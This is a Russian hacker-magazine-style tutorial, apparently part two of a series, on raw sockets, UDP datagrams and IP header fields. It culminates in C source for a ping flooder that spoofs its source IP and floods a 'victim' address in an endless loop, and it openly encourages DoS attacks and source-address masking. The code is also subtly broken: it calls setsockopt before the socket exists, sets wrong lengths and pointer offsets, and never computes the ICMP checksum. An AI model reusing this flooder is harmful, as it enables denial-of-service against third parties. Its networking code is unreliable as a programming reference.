Советую тебе сначала ознакомиться с первой частью, хотя, если ты уже знаком с основами написания client/server программ, то у тебя не будет проблем с понятием этой. Как и в первой главе, я буду давать исходники программ и по возможности писать к ним четкие комментарии. Ну, пожалуй, приступим. Сначала, как всегда теория.
Создавая TCP-socket ты писал: socket(AF_INET, SOCK_STREAM,...), так автоматически ты мог работать с TCP протоколом без приложения каких-либо усилий, это хорошо, надо отдать должное монстрам kernel-хакинга - они о нас заранее позаботились, но иногда наши потребности уходят дальше простого соединения. А что, если ты захочешь заSpooFить свой IP адрес
(подделать)?
Вот тут-то нам на помощь и приходит такая замечательная вещь, как SOCK_RAW. SOCK_RAW - "сырой" протокол, то
есть, включив его, тебе придется писать все шаги коннекта самому, но в данной статье я не опишу этот способ - он слишком сложен и трудоемок.
Я постараюсь тебе объяснить, как отсылать заSpooFенные датаграммы в сеть. Да, кстати, датаграммы - это пакеты, отсылающиеся в сеть без запроса на соединение, объясняю на примере кода:
#include
#include
#include
int main(int argc, char *argv[])
{
int udp_sock;
struct sockaddr_in addr;
char pack[] = "This is an UDP packet";
udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(21);
sendto(udp_sock, pack, sizeof(pack), 0, /*новая ф-ция*/
(struct sockaddr*)&addr, sizeof(addr));
}
В этом исходнике ты видишь, что мы, вместо использования функций connect() и send(), использовали лишь одну функцию sendto(), тем самым, мы не сделали коннекта, а просто
послали отдельный пакет на 21 порт. Сейчас расскажу плюсы и минусы этой технологии.
(!+++) Без использования соединения программа может быстрее отсылать пакеты в сеть, ей не надо беспокоиться о посылке SYN-запросов к серверу.
(!---) Минус данного способа в том, что протокол UDP/RAW не заботится о сохранности пакетов
(в RAW тебе придется заботится о пакетах самому). Никто тебе не гарантирует, что свежая версия nmap скачается на твой комп в целости и сохранности, в то время как используя полноценный TCP-коннект, ты медленнее, но увереннее download'ишь заветную программу.
Тогда, зачем вообще нужен протокол UDP? Затем, что ты можешь использовать его, например, в чат-программе, или в прогах, где не нужно отсылать слишком много данных
(в тех же backdoor'ах). Еще протоколы UDP/RAW используют для написания DoS атак, тот же
kod.c (voidozer) использует SOCK_RAW для отсылки на win-машину IGMP пакетов. Как видишь, не так уж и бесполезны эти вещички, как кажутся на первый взгляд.
Так, с датаграммами разобрались, теперь перейдем к описанию SOCK_RAW. Эта вещь может делать с сетью всё, что ты захочешь. Найдя в ней ошибку, можно писать DoS атаки хоть для OpenBSD. Вспомнить хотя
бы teardrop.c, land.c и т.д. Эти DoSеры стали известны во всем мире, но проблема
заключается в том, что для нахождении ошибки в kernel потребуется изрядно попотеть. Что ж, надеюсь что именно ты найдешь эту заветную ошибку, а пока я научу тебя основам ip low-level кодинга.
Для начала разберем понятие ip-header. ip-header-заголовок ip, этот заголовок отсылается со всеми пакетами, которые ты отправляешь в сеть. Вот например в любимой icq ты пишешь другу: "Привет ManDrake!", а в сеть по правде отсылается вот что { [ip_header]"Привет ManDrake!" }.
В ip header'е находится вся информация о тебе, то есть ManDrake при необходимости может использовать сниффера, которые тем и занимаются что
выковыривают ip-header и показывают всю информацию, что была в нем
(ip_address, port). Структуру ip-header'а ты можешь
прочитать в RFC 760 (пусть это
будет для тебя домашним заданием :).
Я же объясню все пункты по порядку.
-Version(ip_v) - Версия ip протокола. На данный момент используется четвертая (IPv4), хотя все больше оборотов набирает IPv6. Можете заглянуть в /usr/src/net/IPv* для доп. инфы.
-IHL(ip_hl) - размер заголовка. Чаще всего равен 5,
так как минимальный размер заголовка 20 байт (т.е. пять 32-битных слов).
-Type of Service(ip_tos) - тип обслуживания. При желании можно можно менять некоторые параметры пакета,
вся структуру TOS ты можешь обнаружить все в
том же RFC. Вообще, чтобы не париться и не вникать в эту ерунду, советую тебе ставить
0 (пусть kernel разбирается:).
-Total Lenght(ip_len) - общий размер всего пакета, включая "Привет ManDrake!":) должно быть не больше размера MTU (1500 байт).
-Identification(ip_id) - идентификация. Расскажу о ней
поподробней. Сначала надо понять термин Фрагментация: Протокол TCP, перед тем как послать, например, файл nmap к получателю, разбивает его на части, максимальный размер которых равен 1500 байт каждая. Каждой части он дает
ID (identification). То есть дает номер каждому пакету, чтобы на другой стороне
(у тебя) файл собрался в одно целое, без
всяких ошибок.
-Fragment offset(ip_off) - здесь указываются такие опции, как "фрагментировать пакет или нет".
-Time to Live (ip_ttl) - Дословно переводится как "Время жизни пакета". Вообще-то здесь не имеется ввиду время, которое будет жить пакет. Здесь описывается максимальное число маршутиризаторов
(роутеров), через которые сможет пройти пакет. Максимальное число равно 255. Например, если ты отсылаешь пакет и он проходит через число роутеров, превышающее 255, то этот пакет выбрасывается и от роутера к
отправителю (в данном случае к тебе) посылается ICMP пакет с типом-11(превыше лимит времени).
-Protocol(ip_p) - здесь указывается протокол, который ты будешь использовать, указав, например, IPPROTO_TCP, ты можешь конструировать свои TCP пакеты вручную(мы же используем
SOCK_RAW).
-Header Checksum(ip_sum) - самый мистический пункт заголовка. Если он указан не правильно, то система получателя
отвергает пакет. Самому вычислять контрольную сумму практически нереально, зато можно предоставить это дело kernel'у, угадай как: просто написать 0;).
-Source Address(ip_src) - адрес отправителя. Здесь ты можешь ставить любой ip адрес, хоть 31.3.3.7, тогда получатель не узнает твой настоящий ip. По-моему самый весёлый пункт.
-Destination Address(ip_dst) - как не сложно догадаться - адрес получателя.
-Options - доп. опции, последние 10 лет никто не нашел их полезного применения. Здесь записывается до 40 доп. байт, то
есть тебе придется менять размер заголовка(IHL). Несложная арифметика показывает. 20б + 40б = 60б (пять 32битных слов + 10 слов = 15 слов), значит поле IHL теперь будет равно 15, вместо 5.
---Data - здесь находятся данные, которые ты отсылаешь ("Привет ManDrake!").
Вот мы и обошли все пункты по порядку. Пришла очередь кода:
#include "sys/types.h" /*включаем заголовки*/
#include "sys/socket.h"
#include "arpa/inet.h"
#if defined(__i386__) && defined (__linux__) /*если исходник мы компилим из под linux'a, то использовать заголовки BSD*/
#define __FAVOR_BSD
#include "netinet/ip.h"
#include "netinet/ip_icmp.h"
#endif
#include "netinet/ip.h"
#include "netinet/ip_icmp.h"
#include "errno.h"
#include "stdlib.h"
#include "stdio.h"
#include "string.h"
#include "fcntl.h"
#define ICMP IPPROTO_ICMP
#define IPCPM_SZ sizeof(struct ip_header) + sizeof(struct icmp_header) /*размер ip+icmp протокола*/
#define IP_SZ sizeof(struct ip_header) /*размер ip протокола*/
int sock;
int on = 1;
unsigned short icmp_pack();
char packet[IPCPM_SZ]; /*пакет, который мы будем посылать[размер протоколов]*/
struct ip_header *ip_head = (struct ip_header*)packet; /*заталкиваем ip-header в наш пакет*/
struct icmp_header *icmp_head = (struct icmp_header*)packet + IP_SZ; /*заталкиваем iсmp-header в наш пакет*/
struct sockaddr_in sins; /*структура адресата (жертвы :))*/
int main(int argc, char *argv[])
{
if(argc < 2)
{
printf("usage: %s [ip address]\n", argv[0]);
exit(0);
}
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&on, sizeof(sock)); /*это мы сделали, для того, чтобы использовать
наш конфиг протоколов, а не kernel'овский */
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); /*создаем сокет-raw*/
if(sock == 0)
{
perror("socket-icmp");
}
ip_head->ip_hl = 5; /*размер заголовка*/
ip_head->ip_v = 4; /*версия протокола ip*/
ip_head->ip_tos = 0; /*тип сервиса*/
ip_head->ip_len = IP_SZ; /*размер ip*/
ip_head->ip_id = htons(0x666); /*идентификатор (ставь любой)*/
ip_head->ip_off = 0; /*фрагментация (если 0, то kernel сам вычислит)*/
ip_head->ip_ttl = 255; /*Time To Live - кол-во роутеров, через которое пройдет наш пакет*/
ip_head->ip_proto = ICMP; /*используемый протокол*/
ip_head->ip_sum = 0; /*контрольная сумма*/
ip_head->ip_src = inet_addr("31.3.3.7");/*наш адрес (можешь ставить любой, так ты маскируешься)*/
ip_head->ip_dst = inet_addr(argv[1]); /*адрес жертвы*/
sins.sin_family = AF_INET;
sins.sin_addr.s_addr = ip_head->ip_dst; /*адрес жертвы*/
icmp_pack(); /*функция построения пакета icmp*/
printf("VICTIM: %s\n", argv[1]);
printf("Here we go!.....\n");
while(1) /*бесконечно делаем ping на комп врага*/
{
sendto(sock, packet, IPCPM_SZ, 0,
(struct sockaddr*)&sins, sizeof(sins));
}
}
unsigned short icmp_pack()
{
icmp_head->type = ICMP_ECHO; /*тип запроса, в нашем случае echo a.k.a ping*/
icmp_head->cksum= 0; /*контрольная сумма*/
return 0;
}
Как видишь, вместе с ip-header'ом можно посылать и другие
(udp/tcp/igmp), в нашем случае это ICMP-header. Также следует отметить, что все шаги этой программы обязательны
(разве что функцию icmp_pack() можно не объявлять, а просто засунуть icmp-header в main()).
Обязательно надо указать pointer на наш packet, то есть показать, что мы сами будем строить header. Размер также надо указывать точно, как у меня и сделано: #define IPCPM_SZ sizeof(struct ip_header) + sizeof(struct icmp_header) Эта маленькая программа является лишь обычным ping-flooder'ом.
Объясню поподробней насчет функции setsockopt(); Если не использовать данную ф-цию, то kernel может заполнить все пункты ip_head сам, даже те, где не стоит 0. Чтобы он этого не сделал, setsockopt() ставит ему опцию IP_HDRINCL. Как ты уже заметил, я ничего не сказал про icmp заголовок. Он легок для понимания: тебе просто надо посмотреть в свой /usr/include/netinet/ip_icmp.h файл. Все как у ip, только пункты другие, и их намного меньше.
Вот, я думаю, и все. Про пункты tcp заголовка
рассказывать не буду - про этот протокол на
Хакере был ряд статей.